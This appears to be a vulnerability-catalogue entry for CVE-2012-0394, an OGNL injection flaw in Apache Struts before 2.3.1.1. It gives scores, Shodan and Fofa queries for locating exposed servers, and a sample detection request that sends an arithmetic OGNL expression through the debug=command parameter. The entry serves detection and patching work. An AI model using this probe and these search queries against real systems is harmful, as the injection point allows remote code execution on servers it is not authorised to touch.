| Title | Apache Struts <2.3.1.1 - Remote Code Execution |
|---|---|
| Author | tess |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server. |
| Remediation | Upgrade Apache Struts to a version higher than 2.3.1.1 or apply the necessary patches. |
| CVSS Score | 6.8 |
| EPSS Score | 0.92749 |
| CVE ID | CVE-2012-0394 |
| CWE ID | CWE-94 |
| Shodan Query | html:"Struts Problem Report"http.title:"struts2 showcase"http.html:"struts problem report"http.html:"apache struts" |
| Fofa Query | body="struts problem report"title="struts2 showcase"body="apache struts" |
| Tags | cve cve2012 ognl injection edb apache struts vuln |
Apache Struts before 2.3.1.1 is susceptible to remote code execution. When developer mode is used in the DebuggingInterceptor component, a remote attacker can execute arbitrary OGNL commands via unspecified vectors, which can allow for execution of malware, obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.. NOTE: the vendor characterizes this behavior as not “a security vulnerability itself.”
GET /portal/displayAPSForm.action?debug=command&expression=1393*1615 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Mobile/15E148 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2012/CVE-2012-0394.yaml
🦈 Packet Capture: ⬇️ Download cve-2012-0394.pcap
N/AN/A